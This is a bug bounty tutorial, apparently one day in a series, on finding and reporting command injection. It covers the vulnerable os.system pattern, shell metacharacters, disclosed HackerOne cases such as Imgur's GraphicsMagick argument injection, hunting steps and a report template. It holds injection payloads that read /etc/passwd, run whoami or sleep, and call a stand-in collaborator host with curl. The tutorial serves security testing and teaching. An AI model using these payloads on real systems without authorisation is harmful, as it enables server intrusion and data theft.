Command Injection: Talking Straight to the Shell

Day 13 got code running by smuggling a file past validation. Today you skip the file entirely. Command Injection happens when an application takes user input and passes it into a system shell or a command-line utility, and the input is not isolated from the command’s own syntax. Where file upload needs you to get a script stored and later executed, command injection runs the moment the vulnerable request is processed. No second request, no waiting for a thumbnail job, no guessing a storage path. One request, immediate execution.
This is the twelfth class in the series, and it belongs right next to SQLi from Day 6 in how you think about it. SQLi is your input becoming part of a database query. Command injection is your input becoming part of a shell command. Same root cause, different interpreter, and arguably a worse outcome, because the interpreter here is the operating system itself.
Inside scope only, with the smallest possible proof. A full reverse shell is overkill for a report and risky to leave running. A single harmless command, id, whoami, hostname, or a deliberate time delay, is enough to prove the vulnerability exists.
What command injection actually is
Many applications, for entirely legitimate reasons, shell out to the operating system to do something a scripting language does not do well on its own: convert an image with an external tool, ping a host to check connectivity, run a backup script, query a system utility, process a file with a command-line tool like GraphicsMagick or ffmpeg. The code typically builds a command string by concatenating a fixed command with a piece of user input, then hands that string to the shell.
# vulnerable pattern
os.system("ping -c 4 " + user_supplied_host)
If user_supplied_host is 8.8.8.8, this runs exactly as intended. If it is 8.8.8.8; cat /etc/passwd, the shell sees two commands separated by a semicolon and runs both. The ping happens, and so does reading a system file, because the shell does not know or care that the application only meant the first part to be user-controlled.
; separate and run a second command
| pipe output of first command into a second
&& run second command only if first succeeds
|| run second command only if first fails
` ` or $( ) run a command and substitute its output inline
Any of these metacharacters, if not stripped or escaped, turns a single intended command into an attacker-chosen sequence of commands.
Why this still happens in modern applications
Shelling out is still the pragmatic choice for certain tasks. Image and video processing, network diagnostics, PDF generation, and legacy system integrations frequently have no equally convenient native library equivalent, so developers reach for a command-line tool and build the invocation as a string.
String concatenation is the easy, wrong way to build a command. The correct approach, passing arguments as a list to a function that does not invoke a shell at all, requires knowing that distinction exists and choosing it deliberately. The vulnerable pattern is often simply the first thing that works in testing.
Blocklist filtering of “dangerous characters” is incomplete by nature. Developers who do think about this sometimes strip ; and & but miss backticks, $(), newlines, or pipe characters, each of which can achieve the same result through a different syntax the filter never considered.
Third-party command-line tools have their own argument injection surface. Even when the application correctly avoids shell metacharacter injection, passing user input as an argument to an external binary can still be dangerous if that binary itself interprets certain argument patterns specially, exactly the mechanism behind the Imgur case below, which is not classic shell metacharacter injection at all, but argument injection into GraphicsMagick.
Real disclosed reports
- Imgur, RCE via command line argument injection into GraphicsMagick, $5,000 bounty, 166 upvotes. Reported by researcher neex, the
y parameter of Imgur’s /edit/process endpoint, when called with a=crop, was passed as an argument to what appeared to be the GraphicsMagick gm convert utility. GraphicsMagick treats a filename argument beginning with a pipe character, |, specially, using it to execute a command and read its output as if it were a file, a documented quirk of the tool’s -write option. Supplying a crafted value for the y parameter that began with a pipe character led directly to command execution, without needing a single classic shell metacharacter like a semicolon, demonstrating that command injection risk lives in the target binary’s own argument parsing, not only in the shell itself.
- LocalTapiola, RCE using bash command injection on a system/images endpoint, $6,800 bounty, 207 upvotes. A feature processing images shelled out to bash in a way that let an attacker inject arbitrary commands through the image-handling parameter, one of the higher publicly disclosed command injection payouts, reflecting the direct and immediate severity this bug class typically carries.
- Valve, unchecked weapon ID in a WeaponList message parser leading to RCE, $3,000 bounty, 226 upvotes. While closer to a parsing and memory safety issue than classic shell injection, this report sits in the same RCE family and shows that command and argument injection concepts extend beyond web request parameters into binary network protocols processed by game clients.
- Starbucks, Store Development Resource Center RCE via unauthenticated remote command injection, CVE-2019-0604, 57 upvotes. This was an exploitation of a known Microsoft SharePoint deserialization vulnerability that ultimately achieved remote command execution on a Starbucks-run internal resource portal, illustrating how command injection frequently appears as the final stage of a chain starting from an entirely different vulnerability class, in this case insecure deserialization.
- Valve, RCE on Steam Client via buffer overflow in Server Info, $18,000 bounty, 1256 upvotes, the highest upvoted RCE report on HackerOne’s public Hacktivity feed. Also not a web command injection case specifically, but worth knowing as context for how far up the payout scale RCE findings in general can reach when the target is foundational client software with a massive install base, reinforcing why this bug class is worth specializing in even outside typical web applications.
Read the Imgur report first, since it is the clearest web-application example on this list and demonstrates the argument injection variant specifically, which is easy to miss if you are only thinking in terms of semicolons and shell metacharacters.
The main variants
Classic metacharacter injection. The textbook case from the ping example above. Works whenever user input reaches a shell invocation without proper escaping or without using a parameterized, non-shell execution method.
Blind command injection. The command executes, but no output is returned to you directly. You confirm it the same way you confirmed blind SQLi on Day 6 and blind SSRF on Day 9: a time delay payload like ; sleep 10 that produces a measurable response delay, or an out-of-band callback, triggering a DNS lookup or HTTP request to a server you control via something like ; curl http://your-collaborator-server.com/.
Argument injection, as opposed to shell metacharacter injection. The Imgur case exactly. Even with shell metacharacters correctly filtered or avoided entirely by using a non-shell execution function, if user input still becomes an argument passed to an external binary, and that binary has its own special handling for certain argument patterns, like GraphicsMagick’s pipe-prefixed filenames, command execution remains possible through the tool’s own parsing logic rather than the shell’s.
Command injection via environment variables or configuration values. Less common but worth knowing, some applications build commands using values pulled from configuration, headers, or environment variables that are ultimately attacker-influenced indirectly, such as a custom header value later used to construct a logging or diagnostic command.
Injection through file names or uploaded content that a command later processes. This is where Day 13’s file upload class and today’s class overlap directly: if an uploaded file’s name or metadata is later used unsanitized in a server-side command, such as a virus scan or conversion step, the injection point is the filename itself rather than a visible form parameter.
Where to look, pointed at your recon
- Any feature that plausibly shells out to a system utility. Image or video processing, PDF generation and conversion, network diagnostic tools exposed in an admin panel, like ping or traceroute utilities, backup or export functionality, and any “convert this file” feature.
- Parameters with names suggesting a filename, path, or host.
filename=, host=, ip=, path=, cmd=, url= used specifically in processing contexts rather than simple fetch contexts, your recon params.txt is the starting list again.
- Legacy or internal admin tools surfaced through JS file analysis, since these often predate more careful modern coding practices and are exactly where the Starbucks SharePoint-adjacent and LocalTapiola cases above were found.
- Any upload feature that triggers server-side processing afterward, connecting directly to Day 13’s territory, since the processing step, not the upload itself, is frequently where the actual command construction happens.
- API integrations with third-party command-line tools mentioned in documentation, changelogs, or job postings for the target company, which can reveal exactly which external binary is being shelled out to, and therefore which tool-specific argument injection quirks, like GraphicsMagick’s pipe handling, might apply.
How to hunt it, step by step
Step 1: identify candidate parameters. From the categories above, list every input that plausibly reaches a shell command or an external binary invocation.
Step 2: test basic metacharacter injection with a benign, observable command. Append ; whoami, | whoami, `whoami`, or $(whoami) to a normal, valid input value, and look for the command’s output appearing anywhere in the response.
Step 3: if nothing reflects, go blind with timing. Inject a sleep command appropriate to the likely underlying OS, ; sleep 10 for Linux-based systems, & timeout 10 for Windows-based ones, and compare response time against a baseline request.
Step 4: if timing is inconclusive, go blind with an out-of-band callback. Inject a command that triggers a DNS lookup or HTTP request to a server you control, confirming execution through a listener hit even with zero visible output and no measurable timing difference.
Step 5: if metacharacters are filtered, think about argument injection instead. Research the specific external tool likely in use, if you can identify it from error messages, response headers, or job postings and documentation, and check whether that tool has known special handling for argument values, the way GraphicsMagick treats pipe-prefixed filenames.
Step 6: test alternate encodings and character sets if direct metacharacters are blocked. URL encoding, different newline representations, and alternate command separators specific to the underlying shell, since a filter built around one shell’s syntax can miss another’s.
Step 7: prove execution with the absolute minimum command, and nothing further. id or whoami output, or a confirmed timing delay, is sufficient. Never pivot into further exploration, file reads, or persistence.
Writing the command injection report
Title: Command injection in [parameter] at [endpoint] allows remote code execution
Summary:
One sentence: which parameter, which endpoint, and whether proof
was direct output, timing, or out-of-band callback.
Steps to Reproduce:
1. Submit [request] with [payload, e.g. "; whoami" or "| sleep 10"]
in [parameter].
2. Observe [command output reflected in response / measured
response time delay / listener callback received] confirming
command execution.
(Exact request and payload, response showing output or timing
data, listener logs if out-of-band.)
Impact:
An attacker can execute arbitrary operating system commands on the
server via [parameter], under the privileges of the application
process. This may allow full server compromise, access to other
users' data on the same host, or lateral movement to internal
systems. State the realistic worst case without having pursued it
further than minimal proof.
Remediation:
Avoid passing user input to a shell entirely; use a language's
native library function for the task (e.g. an image processing
library instead of shelling out to a conversion tool) wherever
possible. Where shelling out is unavoidable, use an execution
method that passes arguments as a list directly to the binary
without invoking a shell, and strictly allowlist permitted
characters or values for any parameter that reaches it.
Strong reports, the Imgur one especially, explain precisely which underlying tool or shell behavior made the injection possible, not just that a semicolon worked. That specificity is what lets the defending team fix the actual root cause rather than patch the one payload shown.
What programs often reject
- Command injection claims based only on a slow response with no reproducible pattern across repeated tests, since network jitter alone can produce an occasional delay
- Findings against a feature explicitly documented as an internal, trusted-input-only diagnostic tool with no attacker-reachable path
- Reports demonstrating a payload was accepted without erroring, but with no actual command output, timing signal, or callback proving execution occurred
- Duplicate reports against a known, already-disclosed and patched third-party tool vulnerability the program has acknowledged
The mindset: a shell does not know what you meant
This series keeps returning to the same question in different interpreters: SQL, a browser’s DOM, an XML parser, now the operating system’s own command line. A shell has no concept of “the part the developer wrote” versus “the part the user supplied.” It sees one string and executes it according to its own syntax rules. Whenever an application builds a command by gluing strings together instead of passing arguments through a proper, shell-free interface, that boundary is already broken, whatever filtering sits on top of it.
Homework for Day 14
- From recon, list every feature that plausibly shells out to an external command: image or video processing, network diagnostics, file conversion, backup or export tools.
- Test basic metacharacter injection on each candidate parameter with a benign, observable command like
whoami.
- For parameters that show no direct output, test a timing-based payload, then an out-of-band callback payload if timing is inconclusive.
- Where metacharacters appear filtered, research whether the underlying processing tool is identifiable, and check for tool-specific argument injection quirks the way GraphicsMagick’s pipe handling worked in the Imgur case.
- Read the Imgur
gm convert report end to end. Note exactly how the researcher identified the underlying tool, and how the -write option’s pipe-prefixed filename behavior turned an apparently sanitized parameter into full command execution.
A confirmed command injection vulnerability is almost always rated critical, since it typically grants complete control over the server process with no further steps required. Document it with the minimal proof technique that worked, direct output, timing, or callback, and recommend eliminating shell invocation entirely wherever a native alternative exists.
Day 15 moves to a bug where the application accepts a filename or path from the user and uses it to decide which file to read, Local and Remote File Inclusion, and how it escalates from reading a config file to executing code.